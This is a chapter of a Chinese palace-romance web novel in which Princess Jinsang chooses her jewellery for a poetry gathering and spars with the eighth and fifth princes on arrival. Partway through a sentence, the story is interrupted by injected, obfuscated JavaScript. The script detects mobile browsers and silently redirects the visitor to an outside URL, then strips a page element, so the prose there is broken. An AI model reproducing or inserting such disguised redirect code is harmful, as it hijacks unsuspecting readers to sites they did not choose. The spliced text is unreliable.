陌府。
苏姑姑吩咐着一众侍女,忙前忙后的从库房里搬出衣服和首饰。
槿桑则坐在屏风内的梳妆台前,抚摸着怀里的雪团。
妆台前罗列了十几套名贵的首饰,琳琅满目。
一头乌黑轻柔的长发挽出朝天发髻,妆娘抹好头油,小心将两边的两绺长发弄出来编好盘入发髻中,再用明珠轻轻缠出一个个小圈,卡在辫子的每处波弯处。
槿桑干净的小脸向上仰起,清莹透澈的黑眸中透着清亮。
“姑姑,您看这个郡主今日搭配这套碧玉兰花头饰可好?”妆娘拿着两根通体浅碧色的玉钗比对着发髻两旁。
“不行不行,今日文人雅会,去的贵女多是梅兰竹菊的首饰,郡主应该带些华贵的首饰,彰显皇家的贵气。”苏姑姑摇了摇头,拿出一对金丝八宝攒珠钗比对,长长的流苏在阳光下闪耀着光芒。
槿桑偏过头,将钗子拿下来,说道:“文人雅会,应当越素雅越好,本郡主顶着一头的金银首饰,指不定被别人怎么嘲笑呢。”
那一套八宝攒珠加上璎珞足足有十斤重,文人雅会少不得吃酒作诗,一时半会还走不了,若是一直戴着这些东西,岂不是要累死她?
槿桑断然不肯戴这么多。
“郡主说的也在理。”苏姑姑仔细斟酌,问道:“那依郡主的意思呢?”
槿桑也知道这样的场合确实不能打扮的太过素净,随手扒拉了眼前的一排锦盒。
“就这套吧,戴一个紫色木槿的明珠花冠,一对木槿花钗,一对珍珠排钗,再将这对明珠罗钗嵌入前发里,哦,对,今天我要系那条云锦明珠发带。”槿桑指着发髻的位置,说着要戴的头饰。
妆娘立刻应了一声,按照槿桑的要求开始为其梳妆。
小萝卜从窗前的小柜子里取来一个红木锦盒,里面是两条云锦发带。
槿桑最喜欢这样系发带,所以一有上好的布料,她都会单独留一些布料让绣娘做成不同的款式,下面系的东西也各有不同,有银铃铛,玉如意,金锦鲤等。
而这条是她最珍藏的发带,不仅是因为云锦布料难得,还有上面的四颗珠子都是夜明珠。
珍珠常见,但是发光的珍珠却是罕见。
此物只有两颗,还是当年先皇赐给舜华长公主作为新婚的贺礼。
舜华长公主后来将此珠打磨成四个珠子送于槿桑,寓意着他们一家四口。
若非重要场合,槿桑很少会佩戴此物。
上次国宴落水,槿桑就是戴着这条发带,从淤泥里爬出来,回家后洗了几遍,才把发带洗干净,让她心疼不已。
待槿桑将发带绑在两边的辫子,妆娘为她带上了紫色的木槿花玉耳坠。
弄好发髻头饰,衣服搭配起来就容易得多。
一袭浅紫色的罗裙盖住玉白色的里衣,束紧罗腰,缠上一根玉珠腰链,舒展开下面的六条玉坠流苏。
裙子下面还着木槿花的图纹,衣袖边还绣着一些花瓣。
看起来简雅大方却不失华贵之色。
槿桑站起,罗玉绣将檀香熏好的衣衫取了下来,为她披上外衣,妆娘帮忙展衣时,看清布料上的云纹,瞳孔一震,这是浮光锦?!
浮光锦,以光影夺目。
价值千金。
宣帝即位时,曲梁萧家曾进献浮光锦裘。据说此锦由特殊丝线织就,经朝阳映照,光彩流转,令人目眩神迷,即便突遇暴雨,锦裘也滴水不沾,堪称世间异物。
质地柔韧,光泽独特,手感滑爽,穿着舒适。
不成想今日竟然能在这里看到。
门口站着的丫鬟躬身,柔声说道:“郡主,外头的人催了,说是快到时辰了,长公主殿下也是差人打发来说要快些去才好。”
槿桑微微蹙紧眉头,嘴里嘟囔道:“去晚了才好,本来就不想去。”
小萝卜为槿桑整理披帛,笑道:“郡主今天打扮的这么漂亮,去了定能艳压四座,而且那里说不定会有很多好吃的。”
妆娘知晓这不是他们小人物该多嘴的,只是笑着附和:“是啊,郡主天姿国色,任谁瞧了也会被惊艳。”
槿桑的手拍了拍小萝卜,语气轻快。“你怎么什么都想着吃,难道在本郡主身边你没吃过好吃的嘛?”
小萝卜嬉皮笑脸的捂住头,“啊呀,那不是不一样嘛,郡主放心,只要郡主爱吃的,奴婢定能跑去他们小厨房学来,回来做给郡主吃。”
苏姑姑顿觉无力,别人的丫鬟都是跟主子一起研究诗书礼仪,这俩主仆天天都在想着一起吃喝玩乐。
真的是让她有些语塞。
罗玉绣拍了一下小萝卜的肩膀,说道:“你怎么就知道吃?”
小萝卜不满的看向她:“阿绣姐姐,你要是再拍我的头,我就不认你这个姐姐了。”
闻言,罗玉绣冷哼一声,就要再捶小萝卜几下。
槿桑伸手劝阻,轻笑道:“好了好了,小萝卜,别招惹阿绣了,我们准备出发吧。”
为防罗玉绣打她,小萝卜绕到槿桑另一侧冲着她做了个鬼脸。
罗玉绣白了她一眼,口型仿佛在说幼稚。
“好了你们,在郡主的面前都没个正形。”苏姑姑一脸严肃,随即向外吩咐
道:“备车。”
半个时辰后,陌府的马车缓缓驶入翰文轩。
翰文轩位于京都的西南处,以其精致的园林和假石而闻名。
这里聚集了众多的文人墨客,他们在此吟诗作画,交流文学。
轩外有许多售卖文房四宝的店铺,如宣纸、徽墨、湖笔和端砚。还有专门出售古籍和书画的古董店。
楼阁上面有百余种茶叶,供文人才子品茗论道。
“槿桑郡主到。”
门口的一名仆人高声唤道。
黑色的大门被缓缓拉开,映入眼帘的是满园的宾客。
奇山异石,流水曲觞。
到处都弥漫着一股诗词雅致。
“参见郡主!这边请。”一袭朱红色衣服的崔仲宏率先开口,站到一边伸手,为她引路。
槿桑对他有几分印象,崔氏的次长子,崔顺妃的侄子。
只是她不知道崔仲宏现任工部尚书,专管水利港口,平日里鲜少来这里凑热闹。
“哟,本皇子当是谁呢,这不是上次在国宴从水塘里爬出来的槿桑郡主嘛?”
一道清润的声音从槿桑的头顶传来。
这熟悉的语气,槿桑不用抬头也知道是谁。
钟意满,可真是一如既往的欠揍。
槿桑浅浅一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940486|177330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑,抬眸正巧对上钟意满的眼睛,故作惊讶道:“我当是谁呢,原来是被打了五十军棍还有雅致来赏诗的八皇子啊。”
崔仲宏连忙出来打圆场,“郡主,天气渐凉,不若上楼再叙。”
八皇子冷哼一声,目光落在崔仲宏的身上,毫不客气的说道:“崔仲宏,你跟郡主很熟么?用得着你来请她叙旧。”
众人不语,一些贵女用扇子挡住脸,一副看好戏的样子。
崔仲宏也没想到八皇子把话说的如此直白,脸色微微涨红,一时语塞。
按理来说,钟意满跟崔仲宏是表兄弟的关系,更亲近些。
但是这几年,钟意满越发看不惯这个表兄阿谀奉承的嘴脸,人前一套背后一套,真真是把他恶心透了。
现在见到什么郡主就巴巴的贴上去。
好像别人都不懂什么意思一样。
“八皇子,说起来,你我也算是有两面之缘,难道不请我上去好好叙叙旧?”槿桑突然故意要重最后几个字,眼神里闪过一丝得意。
钟意满领教过她的功夫,自然是不敢轻易跟她单独相处的。
万一再当众把他打一顿。
不对,自己是皇子,难不成还要怕她一个郡主?
槿桑眨了眨眼,很直白的问道:“难道八皇子是怕了我,不敢请我上去?”
“本皇子会怕你?!”钟意满虽然心里有些发怵,但又碍于脸面,冷哼一声:“郡主又不是没长腿,上个楼还需要人请么?”
“是哦。”槿桑故作沉思,悠悠开口:“毕竟我没被打过板子。”
“你。”钟意满咬牙,俏脸上爬出一丝怒容。
就在这时。
门口的仆人突然大喊一声。
“五皇子,七皇子到。”
槿桑心里一咯噔,这货怎么来了。
他怎么这么闲?
槿桑甚至都怀疑钟离桑是不是故意跟着她的,她去哪里都能遇见他。
钟离桑身穿金黄色的华服,月白色的袖子边缘同样是木槿花的图纹,墨发以金冠束起,金冠两侧垂下的流苏玉坠是桑叶的样式,他一如往常,轻轻晃动折扇,步履轻缓进入园内。
站在钟离桑身侧,一袭月白色华服的男子就是七皇子钟奕铭。
不同于前几位皇子,钟奕铭五官生的近乎女子般柔美,尤其是那双眼睛,水意盈盈,流转间波光潋滟。
钟奕铭唇角含笑,不着痕迹的打量着园中的情景。
一群人跪拜问安。
“五皇子万福,七皇子万福。”
钟离桑穿过人群,目光悠悠停在槿桑的身上,扬了下眉,嘴角扬起弧度:“槿桑郡主能来赴今日的诗书雅会,还真是出乎意料。”
槿桑凝眉嗤了声,拨弄了一下发带,转而笑道:“不敢不敢,我也没想到五皇子功课繁忙,还能有雅致来这里讨论诗书。”
若是知道你来,我就是抄女戒也不会来,槿桑心里别提有多后悔了,这个钟离桑若是逮着诗书来整他可怎么办?
果然不出她所料。
钟离桑忽然扬唇一笑,走到槿桑的面前,语气中带着几分幸灾乐祸,握住扇子,做出请的姿势。“东朔重武,也重文,世家大族以诗书会友,郡主既然前来参加宴会,不妨上楼以资切磋。”